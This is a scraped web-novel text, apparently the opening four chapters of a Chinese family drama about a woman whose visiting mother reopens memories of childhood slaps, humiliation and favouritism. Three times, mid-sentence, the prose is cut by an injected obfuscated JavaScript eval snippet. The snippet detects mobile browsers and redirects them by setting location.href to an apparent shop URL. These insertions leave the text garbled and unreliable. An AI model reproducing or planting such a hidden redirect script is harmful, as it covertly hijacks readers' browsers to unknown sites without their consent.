《一直走到天光大亮》 1. 心里话(1) “叮叮叮……” 闹钟响了,屋里仍漆黑一片。 姚舒云艰难地从被窝里露出半颗头,紧接着伸出一只胳膊,哪知外面气温异常寒冷,与被窝里的温暖形成鲜明对比。她冻得禁不住倒吸几口冷气,一只手左摸右摸,才终于从床边找到了正在响的手机。 “几点了?”丈夫在被子下发出闷闷的声音。 “6:30了。”姚舒云一把摁掉手机界面的提示按钮,然后掀开被子,拿起一旁的衣服开始“窸窸窣窣”穿起来。 “还这么早,你起来干什么?”丈夫周豫林终于从被窝下露出头来,半眯着眼睛,说:“今天是周六,不用上班,不用起这么早,多睡会儿……” “不睡了!” 姚舒云拿起桌上眼镜,用力哈口气,然后开始四处翻找,“我妈今天来,我不能睡了。我得赶紧去买菜做饭,一会儿还得去接她呢。哎,我的眼镜布去哪儿了?” 周豫林这时坐起来,揉了揉眼角,便帮着一起寻找眼镜布,边找边说:“买菜做饭多麻烦,咱们出去吃吧。还可以帮咱妈叫辆车,直接到楼下,这样你就不用去接了。”由于刚睡醒,他说话的声音还囔囔地,像鼻塞不通气的样子。 左右都找不到眼镜布,姚舒云索性拽起衣服一角,用力擦了擦,斩钉截铁地说:“不行!不出去吃,外面哪有自己做的食材新鲜。不说了,我去买菜,你再多睡会儿。” 话落,不等丈夫再说些什么,姚舒云风风火火地出门了。 没想到外面这么冷,冻得她赶紧将羽绒服上的帽子带紧在头上,还一边戳手跺脚取暖,一边注视后方,生怕公交车来自己没看到。 只是虽起得来,她却并不擅长买菜。 同大多数年轻人一样,姚舒云通常是在外面解决一日三餐。 即便现在结婚了,做饭也不多。一来丈夫在外地工作,只有周末回来,平常她一个人大多是下点面条对付一下;二来买菜做饭很花费时间,所以即便周末夫妻两人在家,通常也只是在外面简单吃点。 所以当置身于偌大的菜市场,看见里面琳琅满目,各式各样新鲜的果蔬肉菜,姚舒云一时间竟犯了难,不知该如何下手。 好在脑子虽乱,却知道要借助工具,她麻溜地掏出手机,开始查找菜谱。很快便锁定了三菜一汤:清蒸鲈鱼、油焖大虾、青菜豆腐,外加一个排骨汤。 有了目标,再买起来就容易多了,姚舒云很快买了所需食材,只是考虑到母亲这次来必定要多住几日,光买这一顿菜肯定不行,必然还要再买些别的。 她又四处看,这挑点那买点……等回过神来,手上已拎得全都是菜,手指硬被袋子勒得通红。 忙将东西放下,顺便将大大小小的袋子整理一下,等忙完后,看看自己买的菜,姚舒云觉得差不多了,心想要是有不够的下次再买。 刚想转身回去,忽然记起好像没买葱,便又匆忙转回去再买,等买完葱快走到门口时,又想起主食馒头没买,再次折转身回去…… 等最终坐在公交站台的长椅上时,姚舒云已累得气喘吁吁,额头冒汗。她敞开外套扇风,此时天光大亮,外面人来熙往,车水马龙。 新的一天开始了。 回到家,丈夫接过姚舒云手里满满当当的菜,让她坐在沙发上歇息,眉眼间颇有些心疼地说:“可以少买点,下次吃得时候再买也来得及。” “哼,你说得轻巧。咱这儿地上是城市边,离菜场虽说不算远,就几站公交车,可真正出去一趟还是挺花时间的。你看,去的时候,你得候车吧,在菜场你得一样一样地挑吧,回来的时候你还得候车吧……这零零碎碎的时间加起来,”姚舒云掏出兜里手机定睛一看,立刻惊呼道:“哎呀,都8点多了!” 她慌得一下子站起身,说:“我妈和我小侄女快来了吧?!!我得赶紧去接……” “别担心。”周豫林将妻子重新按回沙发上,说:“是快到了,不过我已经打过电话,帮她们叫好了车。到时司机会送她俩到楼下,你不用再跑去接。来,坐这里,我帮你揉下腿,放松一下。” “那就好那就好。”姚舒云拍拍胸口,放下心来。此刻她心情不错,揉揉丈夫头顶,忍不住夸起来,“就说你办事靠谱呢,幸亏你提前叫了车,不然我妈肯定得在那儿等一会儿,到时候不定要怎么‘数落’我呢。” 周豫林不多言辞,只低头帮妻子揉腿。 掰开手指头,姚舒云一样一样数着今天要做的菜,她叽叽呱呱,说得兴起,简直是眉飞色舞。 她很开心,马上就能看到母亲了。其实和丈夫新婚还不到两个月,这已经是她第三次邀请母亲过来住。 姚舒云有时会调侃自己是最早的一批留守儿童,在她10岁左右父母就外出打工了,刚开始麦收和过年的时候还回来,后来甚至一两年也回不了一次。 直到上了高中,她才得以在暑假的时候去父母那里小住一段时间。 再后来上大学,紧接着是工作,等到她终于费尽周折来到父母所在的城市工作,他们却又因为要带孙女而去了别的城市…… 所以满打满算下来,姚舒云待在父母身边的时间很少,跟他们相处的时间更少,所以她很珍惜现在能和父母相处的每分每秒。 担心中午会太晚吃饭,所以没歇一会儿,姚舒云赶紧进厨房忙起来。 厨艺虽不佳,可心还是很真诚,她用心清洗每一道食材,就连一根菜叶,也被洗地干干净净,然后逐一码放在洁白的瓷盘里,整整齐齐。 正忙的时候,丈夫走进来将手机递给她,示意她接电话。 一接通,里面立刻传来“劈里啪啦”一阵吼,“你咋回事儿?怎么迟迟不接电话?!!在干啥啊?有啥事儿这么忙,电话都不接……” 足足有半分多钟,里面的“炮火”声才稍停些,姚舒云立刻见缝插针地说:“我正在厨房洗菜做饭呢,手机落沙发上了,没听见。” 此话一出,电话那头母亲的怒火稍稍平息些,许是意识到自己脾气火爆,有些错怪了,于是嗓音略生硬地说:“做饭……做饭你也不能忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404808|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了手机啊,我打了好几个……赶紧下来接我!” 还不等姚舒云说什么,那边已经传来“嘟嘟”的电话忙音。 她赶忙解掉围裙,换双鞋子,摁下电梯,一溜烟儿往楼下冲去。 “妈,你来了咋不上去啊?你又不是不知道在哪一层?就7楼那里嘛。”远远地看见母亲站在树下,姚舒云赶紧跑过去,接过她手上的大提包,心疼地说:“外面多冷啊,快,进屋。” “那不得等你来接才能去嘛,你这好房子,我们又不好贸然进去。” “哎呀呀,你看看这话说得多见外……走,梦梦,跟上姑姑。”姚舒云双手提着母亲沉重的大提包,招呼母亲和侄女往前走。 眼下已寒冬腊月,母亲却仍然穿得单薄,外面只一件夹层的格子衬衫,还小了,完全遮不住她浑圆凸出的小肚子。衬衫的上半截板板正正系好扣子,下半截却完全敞开,样子看上去很有些滑稽。 “你怎么没穿羽绒服?天降温了,多冷啊。”姚舒云摸了摸母亲的外套,“这件衣服也太薄了,而且还小了,都遮不住你的小肚子,你喜欢穿可以穿里面嘛,外面再套个羽绒服多好,多保暖。” 可是母亲脸色郁郁,没有接话。 一打开门,迎面扑来一股暖风,丈夫周豫林早早将空调打开,屋内温暖如春。 闵佳荣的眼睛一下子亮了,她四处打量,顺着她的目光,姚舒云看过去,只见整间屋子干净、宽敞、整洁。 这绝对是母亲见过最好的房子。 姚舒云的老家到现在还是3间泥坯房,据说是母亲闵佳荣刚结婚,她的父亲也就是姚舒云的姥爷还在世时,帮忙一起修建的。后来在外打工,为了省房租,闵佳荣和丈夫租住的是乡下当地人的排屋。倒是砖瓦房,只不过里面陈设简单,几乎是等同于毛坯。 现在她去了儿子所在的城市带孙女,为了省房租,和儿子儿媳一大家子人仍租住在毛坯砖瓦房里。 可想而知,乍一看到装修良好、灯火通明、温暖洁净的大房子,母亲会有多么震撼。 为此,姚舒云婚后搬进来,时常邀请母亲过来住,而且还特意为她准备好房间和新的被褥。 将母亲安顿在沙发上,姚舒云又转身去厨房端来早已洗好的水果,然后再去烧壶热水,准备泡茶。 一番忙碌后才终于坐下来,和母亲聊会儿天。 许是屋内暖气的缘故,母亲脸上的冰冷融化许多,她脸色轻快了些,脱掉身上的衬衫外套,说:“嗯,你这屋里是挺暖和。” 然后开始拿水果吃。 梦梦两岁多,正是活泼好动的时候,一会儿表演跳舞,一会儿模拟唱歌,童言童趣惹得几人哈哈大笑。 屋外寒风冷冽,屋内温暖如春,即使今天没什么太阳,也依然感受不到寒冷。 没说一会儿话,姚舒云又钻进厨房里忙碌起来。她本想叫母亲一起过来炒菜,担心自己不善厨艺,会糊了或焦了,可是母亲说,厨艺得勤练,不能偷懒。 她只能硬着头皮自己上阵了。 2. 心里话(2) 虽说没什么卖相,倒好在没糊,四菜一汤,在姚舒云忙活一个多小时后,终于都端上桌了。 母亲闵佳荣会喝点小酒,而且酒量不差,她依稀记得以往逢年过节父母都会整一瓶白酒,两人轮流喝,有时候真喝起来父亲还不及母亲的酒量。 今天去买菜时,无意间路过酒摊,她特意询问店主,买了一瓶纯粮酿造的酒,只为母亲能好好喝一顿。 这不,刚坐好,姚舒云便将整瓶酒拿过来,献宝似地说:“妈,你看,我给你买了瓶酒,你可以喝点。听店主说是纯粮食的呢,应该口味不差……” 哪知母亲并没有想象中的高兴,甚至有一丝愠怒,怪道:“你买这干啥?!我不喝!” “反正下午又没啥事儿,你喝点呗!也好放松一下,来这儿别见外,我给你找杯子。咦,杯子哪儿去了……”姚舒云低头四处找杯子。 “别找了,我不喝!”母亲的声音陡然提高。 姚舒云看过去,发现她脸上红红的,眼神还不时飘向一个地方。顺着眼神,姚舒云发现她正在看向女婿周豫林。 她马上领会到母亲这是不好意思当着新女婿的面喝酒呢,忙摆摆手,又拍拍身旁丈夫的肩膀,说:“妈,你别不好意思,喝酒咋了?谁也不会说啥。豫林还说过,让我没事儿的时候可以小酌几杯呢,可我不会呀。白酒太辣,我只能凑合喝一点红酒或啤酒。” 一番安慰的话果然起了作用,闵佳荣的脸色稍稍正常些,姚舒云又趁势说些“适量小饮几杯,不仅能解乏,还有益身体”之类的话,母亲没再过多坚持,看起来动摇了。 找来杯子,姚舒云为母亲斟满酒,殷勤地为她倒酒布菜,力求让母亲吃得开心,喝得舒心。 母亲这辈子很辛苦,年轻的时候在厂里一刻不停地干活儿,病了都不舍得请假,担心扣工资,时常逢人便说“我发高烧输水,针头一拔,就赶去厂里上班,一天假都没请过。” 在姚舒云面前更是提起过无数次,为此姚舒云十分感念母亲的付出,因此无时无刻不想着让母亲过得舒服些。 喝点酒,吃点饭,来家住段时间……这都不算什么事儿,姚舒云还想着等过段时间,手头没那么紧了,就带母亲出去游玩一番。 “一定要让我妈过得好。” 她心里暗暗起誓,手里不停地为母亲夹菜倒酒,不多会儿功夫,闵佳荣喝得有些上头,脸色红润、面上带笑,话也多起来。 “你小时候嘴巴尖尖的,好吃,又爱偷懒,不爱干活儿……”端起酒杯,闵佳荣靠在椅背上,一整个放松下来,她斜觑着一只眼睛打量姚舒云,用手指虚虚点指,继续说道:“你呀,你们姐弟三个,就数你最滑头,好吃懒做还不干活儿……” 大人们似乎都喜欢说起自己孩子小时候的囧事,姚舒云自然也不能被幸免。 “好吃、懒做、不干活儿”几乎成了她的标签,每次家庭聚会,必被拿出来反复吐槽。 很多时候,众人哈哈大笑,姚舒云也只得跟着干笑两声。 有时候,她也会忍不住辩驳两句:“我哪里偷懒耍滑不干活了?我姐14岁跟你们一起出来打工,之后我12岁起就跟在别的大人后面去街上买东西,推着架车①去打粮食②,在家里洗衣服、扫地、背材,都是我做,而且还要帮着我奶奶一起做饭,洗涮锅碗……” “啊,反正你就会狡辩。你就是个滑头,还好吃。”闵佳荣斜眯着眼睛,脸上挂着笑容。 “我狡辩什么了?我说得是事实呀。我要是不干活儿,我姐和你们一起出去打工后,那家里的活儿都是谁干的?我好吃,我吃什么了,你也知道,十几年前,老家里除了点米面果腹,还有什么可以吃得?” …… 她不能多说什么,不然真成了爱狡辩的人,可是姚舒云觉得很委屈:年幼时父母不在身边,弟弟暴虐,奶奶年迈,她必须学着大人模样操持整个家庭,过得很苦很难,可所有人却都觉得她过得很好很舒服。 尤其是母亲,时常和人说自己的二女儿惯会偷懒耍滑,还总爱偷吃,小的时候,姚舒云每每被羞得都抬不起头。 闵佳荣这辈子最敬重自己的父亲,听说,那是个沉默寡言、勤劳能干的老人。最讨厌好吃懒做的人,很不幸,她嫁的丈夫姚志高就是这种人。 为这事,这一辈子,她没少跟丈夫打架干仗,年轻时,头破血流是常事。 她无数次想离婚,可抛不开脸面,为此吵吵闹闹了一辈子。 姚舒云知道母亲不喜欢自己,不过她认为那都是因为自己长得太像父亲姚志高的缘故,同样的嘴唇上翘,同样的嘴巴有点往外凸出。因此母亲自然会把对丈夫的不满,投射一部分在自己身上,所以才会出言笑话几句。 更何况自己还是第二个女儿,原本母亲想着二胎一举得男,好在婆家妯娌面前扬眉吐气,可自己的出生却打破了她的幻想。 如此说来,也有自己的一部分原因。 这样一想,姚舒云就不再过多生气纠结母亲有时的吐槽打趣,她弯弯嘴角,自嘲地笑了笑,心想这都算不上什么大事儿,让自己别太介意。 许是见姚舒云有点不开心,闵佳荣没再继续说下去,毕竟她还吃着人家做的菜,喝着人家倒的酒,几分薄面还是得给的。 于是她转开话题,正了正颜色,又聊起别的话题。 她知道姚舒云对哪些事情感兴趣,于是自然地说起老家的人和事,果然这人一听就来劲儿了,不停地追问“啊?怎么会这样?到底怎么回事儿?”同她一起热聊起来。 姚舒云很恋家,尤其是老家,做梦都想着故乡的土地。可惜奶奶已去世,父母又常年在外打工不回去,老家仅剩的几间泥坯房没法住人,她也就只能梦里想想了。 —— 夹一口菜放进嘴里,借着刚刚入喉酒的余味,闵佳荣慢慢咀嚼品尝,很是有滋有味。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404809|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >对于二女儿,她自认为一向手拿把掐,不管自己对她做了什么,她都不会太介意。所以,吐槽两句又算得了什么? 想及此,闵佳荣不免得意起来,她实在不喜欢二女儿,可偏偏二女儿混得最好,住着这么好的大房子不说,找的工作还是有双休的,就连她男人也是一样,工作比起自己的儿子来说,轻松很多。 这难免让她有些生气。 尤其此刻,看见二女儿脸上的笑,她更生气。想起小时候,这死丫头一见到自己,就跟老鼠见了猫一样,吓得都不知道往哪儿藏。 现在居然能笑得这么开心?! 闵佳荣心里十分不痛快,但她没法发泄,毕竟死丫头大了,也成家了,现在没什么错处,不好拿捏她。 虽然心中不悦,可面上还是得保持平静,闵佳荣端起酒杯慢慢喝掉最后一口,然后把酒杯往桌上一掷,慵懒地斜靠在椅背上。 此刻,她已明显感觉到有些醉意。 一顿饭吃完,女婿忙着收拾碗筷洗刷,女儿忙着擦洗桌椅扫地,闵佳荣越发得意,半眯着眼睛看向面前忙碌不停的两人,心中思量,这可比在自己家舒服太多了。 在自己家里她从来都是最晚上桌,最早离桌收拾的那一个,丈夫不帮忙,儿媳妇视而不见,儿子,儿子嘛,那是男孩子,本就不该做家务,所以所有的洗刷都必须得自己做。 哪像在这儿,什么都不需要管,什么都不需要动,擎等着坐享吃喝,真是好不快活。 越想越开心,闵佳荣上身不动,却将桌下左脚搭在右脚背上,慢慢晃动起来。 她晕晕乎乎地,像飘在云端。自家臭男人姚志高平时没真本事,有句话倒说得挺对,“喝酒不喝醉,等于没喝。喝酒的最佳境界就是在半醉半醒间。” 闵佳荣感觉浑身轻飘飘的,眼睛半睁半闭,耳边净是姚舒云聒噪的声音: “豫林,泡点茶吧。咱妈喝了酒,肯定口渴,喝点茶水可以醒醒酒。” “豫林,再拿点花生瓜子糖果,咱们几个可以边聊天边说话。” “豫林……” 不一会儿,滚烫的飘着香气的茶端上来,闵佳荣慢慢抿了一口,刚好解腻。 女婿又端来花生瓜子糖果,她剥一颗放嘴里,瞬间唇齿生香。 这日子,当真是有滋有味。 看着面前像个孩子一样,跟梦梦一起玩,把梦梦逗得咯咯笑的二女儿,以及在坐在她身旁,跟她说话温声细语的二女婿,闵佳荣一时心里难免酸涩,丈夫对自己可从没这样过。 更可气的是,女儿让女婿做什么,女婿都没有不耐烦,哪像自家的死男人,说一句话都得大声吼。真是气死人了。 闵佳荣很是气不过,酒劲儿一时有些上头,忽然脱口而出,“你啊,小时候可怕我,我眼一翻,你立马吓得栗栗抖③。” “什么?”姚舒云正冲侄女梦梦做鬼脸,扭头问母亲,“你刚说啥?” 3. 第 3 章 “我说你啊,小时候可怕我了,我眼一翻,你立马吓得栗栗抖,都站不住脚呢,哈哈。” 这句话像个雷,直直地劈在姚舒云头上。年幼时那些灰暗不堪的记忆忽然一股脑儿往眼前挤:“你还想跟他比……你想干什么……你配吗……” 更糟糕的是,随着记忆越涌越多,也变得越多越清晰,仿佛像看电影般,过去的一幕幕在眼前回放重现。 记忆早已尘封多年,此刻乍然掀开,上面满是灰尘,呛得人鼻涕眼泪直流。 突然一个念头砸入脑中,姚舒云恍惚,“母亲是不是从没爱过自己?” 她愣怔怔地想,脸上的表情不知是哭还是笑,嘴唇微动,半天才喃喃发声:“你不觉得,一个孩子,见到母亲,亲生母亲,吓成那个样子,很……可怜吗?” 她死死地盯住母亲闵佳荣,眉头深拧,似乎想要问出个结果。 这个时候闵佳荣像是忽然清醒过来,心里直犯嘀咕,“呀,我怎么一不留神把心里话说出来了?” 她稍稍坐直身体,收敛一些脸上的得意之色,觉得自己似乎说漏嘴了,但,转念一想,“又有什么关系呢?” 她最是知道姚舒云这个二女儿的脾性,一向窝囊软脾气,还会讨好人,“就算一不心说漏嘴,让她知道了又能怎样?” 这样想过后,闵佳荣心中的担忧几乎是一闪而空,漫不经心道:“那……那有什么嘛。” 对于姚舒云,她自认一向手拿把掐,所以根本无谓过多担心,连一句敷衍的话也懒得圆。 “‘有什么嘛?’”姚舒云有些哭笑不得,“你觉得一个孩子,怕自己的亲生母亲,怕成那个样子,很正常?” “要是有一天,你也怕别人怕成那样,你不会觉得很可怜很可悲,而是觉得‘这有什么嘛’很正常?” 姚舒云连声发问,闵佳荣却不再作答,她不知道到底是母亲不想答、不愿答、还是压根……有恃无恐,不屑回答。 是啊,自己是她的亲生女儿,打不断的亲情,斩不断的血脉,即便被自己知道一些不那么中听的心里话又能怎样? 是啊,能怎样? 她是自己的母亲,是生养自己的人,别说只是一句话,就算打了,骂了,自己又能怎样? 难道真要跟她斤斤计较吗? 一时间姚舒云感到无力,灰心丧气,因为这层血缘,因为这无法隔绝的亲情。 可是她不明白,为什么在自己心中引起滔天巨浪、让年幼的自己万分痛苦的事情和经历,在母亲这里却仅仅只是一句笑谈?!! —— 她已经记不清,那天巴掌打在脸上时,自己是多大的年纪。 也许是七八岁,也许是十二三岁,又或者……姚舒云实在是想不起来。 只记得那天早晨天气很好,依稀是个初秋的样子,一大早,阳光穿过窗棱晒进屋内。 刚刚洗完脸,母亲闵佳荣带着姐弟三人,都挤在一个镶嵌了一面大镜子的衣柜前,搽脸梳头说笑。 当下时兴外出打工,闵佳荣也算是出去几次,见过世面的人,她已不像小时候那样,动不动就对姚舒云叱骂摆脸色。 即便心有不满,也不会轻易发泄,不然显得自己没城府。 孩子们长大许多,再加上打工能挣到钱手头宽泛,心情自然也会好很多。 就连最不喜欢的二女儿姚舒云,闵佳荣也很久没再打骂过她。 孩子天生就想跟母亲亲近,姚舒云自然也不例外,母亲稍微对她好点,她就喜得忘乎所以。 那天闵佳荣拿出从外打工带回来的一瓶面霜,很香,母子几人都挖了点在手上,搽脸。 姚舒云将那点面霜放在掌心,然后伸开手指,兴冲冲地朝母亲展示,说:“妈,你看,你快看,我手上的香香,一点点,一捏捏,一丢丢……” 她怪腔怪调,脸上是一个大大的笑容,兴奋地几乎要手舞足蹈。 就在这时,忽然,“啪!”地一声脆响,母亲一个大巴掌重重扇在姚舒云脸上,紧接着狠狠凝视她许久,最后丢给她一个厌恶至极的白眼,决然离去。 —— “你能想象一个人在最高兴的时候,突然被至亲至爱的人打了一巴掌,那种震惊和绝望吗?” 卧室里,姚舒云向丈夫如此描述自己当时的感受,甚至嘴角不自觉地抽动一下,脸上溢满痛苦神色。 她不禁伸手摸了一下自己的脸颊,仿佛那里刚刚挨过一巴掌,还残留真实的痛感。 可其实她早已分不清到底是哪半边脸挨过打。 “她为什么要这样对你?说话声调怪了点,也没什么吧?一个孩子,调皮点也正常。”丈夫周豫林眉头皱起,仿佛看见了妻子年幼时挨打的场景,心有不忍。 “为什么?”姚舒云双手捂住脸,深吸一口气,努力淡声道:“后来我才慢慢了解到,她是羞愤于自己的母亲,也就是我的姥姥,丧偶没几年,却从外地打工带回来一个年轻男人同居,那人说话口音不同于本地人。她正满心委屈怒火无处发泄,刚好我死不死地往枪口上撞……” “哎,好吧。可即便如此,她也不该太冲动。这样会给你留下深刻的心理阴影的。” 周豫林说得没错,至此以后,姚舒云再也不敢当众说话。 记得有一次,迷迷糊糊中,姚舒云觉得自己似乎站在一个巨大的、灯光刺眼的舞台上,台下有无数双眼睛正盯着她。她手握几页薄薄的纸,额头冷汗直冒,说话声音抖得像老旧车轴互相碾压时发出的吱嘎声。 霎时间,满堂哄笑,她将头深深低下,恨不能埋进土窝里,浑身抖得像筛糠。 “啊。”随着一声轻呼,姚舒云一下子坐起来,这才发现原来是自己做了一个梦。 她深呼吸两口气,伸手擦了把额头,竟发现湿漉漉的。 “看来梦是假的,感受倒是真的。”姚舒云拍了拍胸口,强迫自己镇定下来。 她很惧怕当众说话,尤其是公众场合,经常语无伦次,说话紧张声音又抖,样子看起来很滑稽,就像梦里的那个样子。 曾经工作时,部门经理想让她当众阐述一份报告,其实隐约有点想要提拔她的意思,姚舒云自然也知道,于是拼命练习,早也练晚也练,抓紧一切闲暇时间,最后一份报告几乎快背下来了。 然而到了那一天真正要来临的时候,她从头天晚上就开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404810|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始失眠,几乎整夜没睡,第二天像个马上要被凌迟处死的人一样,一分一秒地数着倒计时。 临近会议开始前10分钟,经理还拍拍她肩膀,说:“别紧张,就简单阐述一下你的设计理念即可。” 当时她几乎要遁地而逃,最终逃是没逃,硬着头皮上了,可结果……还不如逃了呢,整个就是梦境的重现。 她感到深深的挫败和无力感,这是性格弊端,她很难更改。 而这一切的始作俑者,正是母亲——闵佳荣,而弊端的起源,是当初她给的那一巴掌。 至此以后,姚舒云再不敢当众说话,而且亲手埋葬了自己在语言上的天赋和努力,甚至隐隐地开始有一种自暴自弃的颓丧。 母亲不喜欢张扬,不喜欢打扮鲜亮,她就学着隐藏起自己性格里欢快活泼的那部分,变得暮气沉沉。 穿衣打扮上也不敢有一点突出,力求朴实无华,甚至土气,这样才能做到符合母亲心中好女孩儿的样子。 “是啊,我怎么会不怕她呢?印象中她从没给过我一个好脸色,还总爱说些侮辱人的话,说什么你这么懒,又这么馋,以后嫁人到婆家了可怎么办?还说你这么好吃,以后哪个男人会要你?” 姚舒云看向丈夫,自嘲地弯弯嘴角,然后双手捧住头,闭上眼睛,脸上全是痛苦,“你不知道,那个时候的我左不过十三四岁,正是青春期,脸皮很薄。我常常被这样的话羞得无地自容,甚至很多时候想过去……死。” 在卧室的床上,丈夫周豫林拍拍妻子肩膀,将她抱在怀里,“你一定很伤心,受了很多委屈,我也不知道该怎么安慰你。也许老一辈的人大多如此,她们不懂得如何温和的表达自身的一个情感和教育,所以通常采取的形式比较粗鲁。” “也许吧。谁又知道呢?或许我妈真的就很讨厌我,一点也不喜欢我,所以无论我做什么、怎么做,都改变不了我在她心目中的糟糕印象。” 姚舒云轻轻叹一口气,接着说:“原本我都忘了过去的那些糟心事,可今天我妈的一句话,让我瞬间回想起过往那些不堪的童年记忆。哎,真不知是幸呢,还是不幸呢?” 印象中自从上了高中后,母亲的态度就好了很多,不再像过去那样总是说些难听的话,虽然依旧没什么好脸色,但相对来说正常许多。 后来她上了大学,只有寒暑假能回来,母亲平时忙于上班,她们也没有太多相处时间。 再后来工作,有能力赚钱后,姚舒云时常给母亲买些礼物:衣服、包包、鞋子,以及所需要的按摩肩带、拔罐器、护肤品……总之,凡是母亲需要的,哪怕节衣缩食她也会想办法买回来。 她不懂得这是一种什么感情,也从没细想过自己为什么要这样,她只是单纯地想让母亲开心,想让母亲不那么累。 可是,今天母亲的一句无心之言,却让她有如被人当头一棒,瞬间清醒。 也许是她太缺母爱了,所以拼命地想要讨好、巴结、顺从,只是为了能让母亲对自己印象好一点,让母亲不那么讨厌自己。 “那你打算怎么办?”丈夫用眼神示意次卧的方向,说:“咱妈还住在这里呢?你打算跟她怎么相处?” 4. 心里话(4) “呵,怎么相处?还能怎么相处,自然是正常相处呗。” 姚舒云往后躺在床上,拉上被子盖住身体,自嘲道:“不然呢?总不能因为这一句话,我就跟她翻脸吧?那我可就真成了她口中爱斤斤计较的人啦。” 除了劝说自己不要在意,似乎……也找不到更好的办法。 熄了灯,世界陷入黑暗寂静,身旁很快传来丈夫的呼吸声,姚舒云却是怎么也睡不着。 她不知道为什么自己曾经因为母亲那么痛苦,而母亲却毫无半分悔意,反而是……洋洋得意? “一个给别人带来万分痛苦的人,自己却毫无半分悔意……”一想到这个,姚舒云内心就感到无可名状地疼痛。 她多想跟母亲说,“你知不知道,你的女儿曾经有过怎样晦暗的过往?!!” 当然也只是想想,她长大了,再老去翻以前的旧账有什么意思?! “哎……”姚舒云深深叹一口气,感到无奈。 不管怎样,病根已种,由此结的苦果只能她自己独力承受:那次的提拔自然无望,工作也险些不保。所有需要口才、交流、沟通的工作她统统都不敢找,只能做一些不那么需要和人打交道的工作。 —— 安顿好小孙女睡下后,闵佳荣靠在床背上,翘起二郎腿晾干脚上水分,她也不知道自己怎么一时鬼迷心窍把那句话说了出来。 看样子,姚舒云许是伤心了,整个下午对她的热情明显少了许多,要搁以往,这个时候,死丫头必定还赖在房间里非要跟自己说说话呢。 “哎呀,都怪自己贪喝。”闵佳荣有些后悔地嘀咕,不过很快,她就安慰自己道:“没事儿的,说了就说了,死丫头性子软,哪好意思计较太多。” 所以她心安理得的玩起手机来,并不把这件事放心上。 事实如她所料,第二天一早醒来,姚舒云就过来敲门,她已买好早餐,并说起今日计划:“咱们先去逛街,然后去买衣服,再去找家饭店吃饭。” 看她神色如常,原本还有一丝担心的闵佳荣瞬间开怀,不过,她并不打算回应给女儿太多好脸色,心里想着这种人就得吊着,她才能持续地卖力地讨好自己。 今日是周末,街上人来车往,好不热闹,逛街、试衣服、吃饭、坐船、游玩……一整个行程结束,回家时几人皆累得疲惫不堪。 周豫林叫了辆车,刚好四个人全都坐进去。 途中,姚舒云接到一个陌生电话,一接通,里面中介的声音就立马传出来,“喂,你好,姐,问下你有房子出租或出售吗?” 原来是推销买卖房子的,姚舒云本想挂断电话,然而忽然鬼使神差地问:“哦,房子现在什么价格?” “噢,是这样的,姐,现在均价一万多一平方,具体还要看房子和看区域。” “那,XX府邸现在什么价格?” “在1万2到1万5之间,如果是洋房,还能高一点。姐,我加下你微信,具体咱们在微信上聊。姐,您的微信是……” “哦,再说,再说。”姚舒云很快挂断电话,她只是想询问下价格,并不打算卖房。 “怎么了?谁打的电话?”丈夫扭头问。 “中介。” “中介打电话,什么事儿?” “问我卖不卖房子。” “你那房子现在可以卖多少钱?”母亲闵佳荣忽然插话问。 “听说是1万左右。”姚舒云面上克制,可内心还是忍不住有些小雀跃。 “啊?!这么多!!!”闵佳荣很吃惊,要知道,当初这房子买来的时候才六七千一平方,没想到短短一两年时间,竟涨了这么多! 也就是说,这套一百二十多平的大房子,比之最初买来时,已经增值了三四十万。 “啊啊,这么多!”闵佳荣无声感叹着,她感到一股巨大的心理冲击,天呐,自己在厂里辛苦打工一辈子,也没攒到过这么多钱。可竟然,一套房子,什么都不做,就挣了这么多…… 一时间,她感到内心五味翻杂,越咂摸越酸涩:天哪,这死丫头不仅能住上这么好的大房子,还白白多挣了那么多钱…… “运气可是真好啊!” 无意间触到身旁的手提袋,闵佳荣看着二女儿刚给她买的新衣服,原本自己还有一丁点儿不好意思拿,想着女儿女婿还要供房贷,压力有点大。这下……她完全心安理得的享受,“哼,你发了那么多财,给我买点衣服咋了?就这,还买的不够多呢。早知道,裤子也穿条破的来,这样就能得一身新衣服了。” 闵佳荣有羽绒服,可来的时候有意没穿,她知道姚舒云看到自己身上的小衬衫必会心有不忍。 果然不出所料,今天逛街时她特意给自己买了件深红色的长大衣。 坐在出租车里,车窗外的风景一掠而过,闵佳荣斜靠在座位上,不自觉翘起二郎腿。她脸上现出一股潮红,那是一种面对巨大财富时不由自主地幻想红晕。 她总是情不自禁地想,这套房子要是儿子家的该多好啊!那自己该多有面子啊!亲戚朋友来了看见该有多羡慕自己啊!她必定会每天打扫得干干净净、一尘不染,哪像现在他们两口子这样随意对待。 